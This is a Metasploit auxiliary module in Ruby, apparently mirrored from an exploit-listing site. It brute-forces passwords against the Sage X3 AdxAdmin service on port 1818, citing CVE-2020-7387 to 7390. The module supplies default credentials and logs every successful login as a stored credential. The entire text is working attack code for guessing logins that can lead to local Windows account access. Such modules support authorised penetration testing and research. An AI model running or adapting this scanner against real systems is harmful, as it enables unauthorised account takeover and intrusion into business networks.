Share
## https://sploitus.com/exploit?id=PACKETSTORM:180999
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'metasploit/framework/login_scanner/x3'  
require 'metasploit/framework/credential_collection'  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::AuthBrute  
include Msf::Exploit::Remote::Tcp  
  
def initialize(_info = {})  
super(  
'Name' => 'Sage X3 AdxAdmin Login Scanner',  
'Description' => %q{  
This module allows an attacker to perform a password guessing attack against  
the Sage X3 AdxAdmin service, which in turn can be used to authenticate to  
a local Windows account.  
  
This module implements the X3Crypt function to 'encrypt' any passwords to  
be used during the authentication process, given a plaintext password.  
},  
'Author' => ['Jonathan Peterson <deadjakk[at]shell.rip>'], # @deadjakk  
'License' => MSF_LICENSE,  
'References' => [  
['URL', 'https://www.rapid7.com/blog/post/2021/07/07/cve-2020-7387-7390-multiple-sage-x3-vulnerabilities/']  
]  
)  
  
register_options(  
[  
Opt::RPORT(1818),  
OptString.new('USERNAME', [false, 'User with which to authenticate to the AdxAdmin service', 'x3admin']),  
OptString.new('PASSWORD', [false, 'Plaintext password with which to authenticate', 's@ge2020'])  
]  
)  
  
deregister_options('BLANK_PASSWORDS')  
end  
  
def run_host(ip)  
cred_collection = build_credential_collection(  
blank_passwords: false,  
password: datastore['PASSWORD'],  
username: datastore['USERNAME']  
)  
  
scanner = Metasploit::Framework::LoginScanner::X3.new(  
configure_login_scanner(  
host: ip,  
port: rport,  
cred_details: cred_collection,  
stop_on_success: datastore['STOP_ON_SUCCESS'],  
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],  
max_send_size: datastore['TCP::max_send_size'],  
send_delay: datastore['TCP::send_delay'],  
framework: framework,  
framework_module: self,  
local_port: datastore['CPORT'],  
local_host: datastore['CHOST']  
)  
)  
  
scanner.scan! do |result|  
credential_data = result.to_h  
credential_data.merge!(  
module_fullname: fullname,  
workspace_id: myworkspace_id  
)  
  
case result.status  
when Metasploit::Model::Login::Status::SUCCESSFUL  
print_brute(level: :good, ip: ip, msg: "Success: '#{result.credential}'")  
credential_core = create_credential(credential_data)  
credential_data[:core] = credential_core  
create_credential_login(credential_data)  
next  
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT  
vprint_brute(level: :verror, ip: ip, msg: "Could not connect: #{result.proof}")  
when Metasploit::Model::Login::Status::INCORRECT  
vprint_brute(level: :verror, ip: ip, msg: "Failed: '#{result.credential}'")  
end  
  
invalidate_login(credential_data)  
end  
end  
  
end